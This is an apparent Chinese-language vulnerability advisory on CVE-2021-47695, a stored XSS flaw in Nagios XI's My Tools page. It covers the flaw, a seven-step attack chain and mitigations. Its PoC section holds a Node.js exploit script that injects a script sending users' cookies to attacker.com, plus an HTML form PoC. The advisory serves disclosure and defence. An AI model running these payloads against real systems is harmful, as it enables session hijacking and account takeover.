IPBUF安全漏洞报告
English
CVE-2021-47695 CVSS 5.4 中危

CVE-2021-47695 Nagios XI My Tools页面存储型XSS漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2021-47695
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

存储型XSSNagios XICVE-2021-47695跨站脚本My Tools页面会话劫持网络监控工具低权限账户利用

漏洞概述

CVE-2021-47695是Nagios XI软件中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响Nagios XI 5.8.0之前的所有版本。漏洞存在于My Tools(我的工具)页面,由于对用户输入的验证或转义不充分,攻击者可以在该页面注入恶意脚本代码。当其他用户访问包含恶意代码的页面时,攻击者的脚本将在受害者的浏览器上下文中执行,从而窃取会话令牌、劫持用户账户、执行未经授权的操作或进行进一步的攻击。由于是存储型XSS,恶意脚本会被永久存储在服务器端,所有访问该页面的用户都会受到影响,危害范围较广。攻击者需要具有低权限账户即可利用此漏洞,但需要诱导受害者进行交互操作。

技术细节

Nagios XI的My Tools页面功能允许用户添加和管理个人工具链接。该功能在处理用户输入时未对特殊字符进行充分的HTML转义或输入验证。攻击者可以在工具名称、URL或其他可输入字段中插入恶意JavaScript代码,如:<script>alert(document.cookie)</script>。这些恶意代码会被存储在数据库中,当其他用户访问My Tools页面时,服务端会从数据库读取这些数据并直接返回给客户端浏览器,而浏览器会将其作为合法代码执行。攻击者可以利用此漏洞执行任意JavaScript代码,包括窃取用户会话cookie、修改页面内容、进行CSRF攻击或植入进一步的攻击载荷。由于该页面需要用户交互才能触发(用户必须访问My Tools页面),攻击者通常会结合社会工程学技术诱导受害者访问恶意链接或页面。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标Nagios XI版本,确认版本低于5.8.0,并发现My Tools页面存在输入点
STEP 2
获取低权限账户
攻击者获取或注册一个低权限的Nagios XI用户账户,该账户具有访问My Tools页面的权限
STEP 3
注入恶意脚本
攻击者构造包含恶意JavaScript代码的XSS payload,在添加新工具时将payload注入到工具名称或其他字段中
STEP 4
持久化存储
恶意脚本被存储在服务器数据库中,由于是存储型XSS,payload会持久存在直到被发现和清除
STEP 5
诱导受害者
攻击者通过社会工程学手段诱导具有更高权限的目标用户访问My Tools页面
STEP 6
脚本执行
当受害者访问My Tools页面时,浏览器会解析并执行存储的恶意脚本,攻击者借此窃取会话cookie或执行其他恶意操作
STEP 7
账户劫持
攻击者利用窃取的会话cookie冒充受害者,可能进一步获取管理员权限或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2021-47695 PoC - Stored XSS in Nagios XI My Tools Page // Author: VulnCheck // Target: Nagios XI < 5.8.0 const axios = require('axios'); async function exploitCVE202147695() { const target = 'http://target-nagios-xi.local'; const username = 'attacker'; const password = 'password123'; // Step 1: Login to Nagios XI const loginUrl = `${target}/nagiosxi/login.php`; const loginData = new URLSearchParams({ username: username, password: password, 'loginButton': 'Login' }); const loginResponse = await axios.post(loginUrl, loginData, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, maxRedirects: 0, validateStatus: (status) => status === 302 }); const cookies = loginResponse.headers['set-cookie']; console.log('[+] Logged in successfully'); // Step 2: Inject XSS payload into My Tools page const myToolsUrl = `${target}/nagiosxi/config/mytools.php`; const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; const toolData = new URLSearchParams({ 'tool_name': 'Malicious Tool' + xssPayload, 'tool_url': 'http://malicious-site.com', 'add_tool': 'Add Tool' }); await axios.post(myToolsUrl, toolData, { headers: { 'Cookie': cookies.join('; '), 'Content-Type': 'application/x-www-form-urlencoded' } }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when any user visits My Tools page'); } exploitCVE202147695().catch(console.error); // Simple HTML PoC for manual testing: // <html> // <body> // <form action="http://target/nagiosxi/config/mytools.php" method="POST"> // <input type="hidden" name="tool_name" value="<script>alert(document.domain)</script>"> // <input type="hidden" name="tool_url" value="http://evil.com"> // <input type="hidden" name="add_tool" value="Add Tool"> // <input type="submit" value="Exploit"> // </form> // </body> // </html>

影响范围

Nagios XI < 5.8.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制低权限用户访问My Tools功能;2)实施Web应用防火墙(WAF)规则过滤常见的XSS攻击向量;3)定期审计日志文件,检测异常的JavaScript代码模式;4)启用HTTPOnly和Secure标志保护会话Cookie;5)提醒用户不要点击来源不明的链接。但最有效的修复方法仍是尽快升级到官方发布的安全版本5.8.0或更高版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表